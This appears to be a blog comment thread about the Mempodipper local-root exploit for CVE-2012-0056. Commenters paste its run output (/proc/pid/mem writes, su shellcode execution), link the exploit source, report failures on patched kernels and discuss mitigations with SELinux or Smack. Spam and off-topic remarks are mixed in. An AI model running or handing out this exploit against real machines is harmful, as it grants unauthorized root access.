$ ./mempodipper
[+] Opening parent mem /proc/17231/mem in child.
[+] Sending fd 5 to parent.
$

hi .. what i have done wrong ?

[...]w I have realized that online diploma is getting favorite because obtaining y 9l[...]…

[...]w I got what you plan, thanks for putting up. Woh I am glad to learn this web rh[...]…

I’ve left them running on my newer, faster laptop. It runs SuSE 12.1 – it also works fine.

And, KDE is beautiful.

http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

Mempodipper.c:284:2: warning: no newline at end of file
/tmp/ccctRq92.o: In function `ptrace_address’:
Mempodipper.c:(.text+0×249): undefined reference to `pipe2′
collect2: ld returned 1 exit status

esepcially for your mempodipper

Did you ever figure out a nicer solution?

Looks great, stable, very impressed. bottom line: still sucks.

I will never understand why the dolphin devs think that all files are on a local machine,

===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3131/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading newgrp for exit@plt.
[+] Resolved exit@plt to 0x401bf0.
[+] Calculating newgrp padding.
[+] Seeking to offset 0x401be1.
[+] Executing newgrp with shellcode.
Segmentation fault

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme’ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0×8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/5464/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0×8049564.
[+] Executing su with shellcode.
terion@LAPTOP:~/Downloads/mempodipper$ whoami
terion
terion@LAPTOP:~/Downloads/mempodipper$ uname -a
Linux LAPTOP 3.0.0-15-generic-pae #26-Ubuntu SMP Fri Jan 20 17:07:31 UTC 2012 i686 i686 i386 GNU/Linux

[+] Opening parent mem /proc/25160/mem in child.
[+] Sending fd 8 to parent.

(For sure i changed the executed shell code to something more matching like creating a folder, instead of spawning a shell)

Security does not work that way! You cannot, after an exploit, argue that you could have blocked proc/pid/mem access. Well, you could simply not turn your computer on. The exploit does not block you from turning your computer off and never turning it on again!!! So, it is flawed!!!

There is two major issues forgot. This does not block a LSM from disabling access /proc/*/mem. This could selinux or smack for sure.

So a kernel update is not required to address this problem. Turn LSM on set up rules attack is dead as a dodo. Basically only selinux or smack approve applications can access /proc/*/mem read write. Every other applicaiton gets read only or nothing.

Injection is not assured in Linux.

Really is there any critical need for distrobutions with selinux or smack by default to rush out a kernel patch. Not at all. Just make sure they have it turned on.

This does ask serous questions why LSM on have not become kinda mandortory. No need to wait for distribution to fix this.

skunk@web1 CVE-2012-0056 % uname -a
Linux web1 2.6.39-hardened-r8 #1 SMP Sat Sep 17 13:58:22 CEST 2011 x86_64 Intel(R) Xeon(R) CPU E5520 @ 2.27GHz GenuineIntel GNU/Linuxskunk@web1 CVE-2012-0056 % ./build-and-run-exploit.sh
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme’ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x716a3d5b70.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/18668/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x716a3d5b64.
[+] Executing su with shellcode.
skunk@web1 CVE-2012-0056 % whoami
skunk

Thanks for sharing.

http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.2.1

http://packages.debian.org/changelogs/pool/main/l/linux-2.6/linux-2.6_3.2.1-1/changelog

2.6.41.10-3.fc15.x86_64 #1 SMP Mon Jan 23 15:46:37 UTC 2012

it doesn’t work. But it worked before

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/8332/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401a60.
[+] Calculating su padding.
[+] Seeking to offset 0x401a57.
[+] Executing su with shellcode.
[1] 8332 segmentation fault ./mkroot

l2program lol

TYPE 1. It is IMPOSSIBLE to have collisions.
TYPE 2. It is HIGHLY IMPROBABLE to have “natural” collisions.
TYPE 3. It is HIGHLY IMPROBABLE to have “natural” collisions, and when it happens, it is HIGHLY IMPROBABLE we will even notice.

Given the fact that the self_exec_id is reset when it reaches its maximum value, we can say that the code that generates it does not understand that it is “type 1 unique”. No security check should rely on any definition of unique different from “type 1 unique”. Is it hard to always implement “type 1 unique”? (this is not a rhetorical question!)

Well, it is very easy for me to just point… but I think it is worth mentioning…